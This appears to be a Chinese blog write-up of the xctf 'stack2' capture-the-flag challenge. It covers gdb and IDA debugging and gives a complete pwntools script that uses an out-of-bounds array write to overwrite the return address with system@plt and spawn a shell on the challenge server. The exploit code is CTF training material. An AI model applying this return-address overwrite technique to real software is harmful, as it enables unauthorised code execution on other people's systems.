zoukankan      html  css  js  c++  java
  • xctf---stack2 | gdb&IDA 调试

    调试错误 | 忽视汇编代码

    #@zer0_1s:调试0x0001
    gdb ./stack2
    disas main
    b * 0x08048834  //new num scanf 输入7测试
    b *  0x080488f2//ret
    



    正确调试 | 汇编+源码分析

    从下图可知:第一次Give me your number,v13[0]=v7,即有办法确定函数的首地址,

    在0x080486BD处可以锁定scanf的位置

    在call scanf之前先eax=&(ebp+var_88),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+var_88)=输入,经由eax=输入,ecx=输入,mov [eax],cl相当于[m]=cl=>eax:m->cl(输入),v13的首地址即是此时的eax.

    gdb ./stack2
    b *0x080486D5
    b *0x080488f2
    r
    输入 1 1(分开的)
    b *0x80486d7
    


    偏移量0x84=132
    本地跑的通,但是远程不行。


    借助/bin/bash可以提取出sh,而system函数不能用原来的,所以相当于第一次调用,system@plt



    脚本来源

    from pwn import *
    #context.log_level = 'debug'
    
    r = remote("220.249.52.133",56558)
    #r = process("./stack2")
    
    r.recvuntil("How many numbers you have:
    ")
    r.sendline("1")
    r.recvuntil("Give me your numbers
    ")
    r.sendline("1")
    
    def change(addr, num):
        r.recvuntil("5. exit
    ")
        r.sendline("3")
        r.recvuntil("which number to change:
    ")
        r.sendline(str(addr))
        r.recvuntil("new number:
    ")
        r.sendline(str(num))
    
    change(0x84, 0x50)
    change(0x85, 0x84)
    change(0x86, 0x04)
    change(0x87, 0x08)
    change(0x8c, 0x87)
    change(0x8d, 0x89)
    change(0x8e, 0x04)
    change(0x8f, 0x08)
    
    r.sendline("5")
    
    r.interactive()
    

    参考

  • 相关阅读:
    Interesting Finds: 2008.06.12
    8月19号
    8月22号
    8月20号
    8月21号
    第七章 Nginx配置虚拟主机
    第六章 Nginx配置文件详解
    第五章 Nginx搭建上传作业平台
    sqlserver2005提供的xml数据类型操作xml串
    事必躬亲利与弊
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/13269220.html
Copyright © 2011-2022 走看看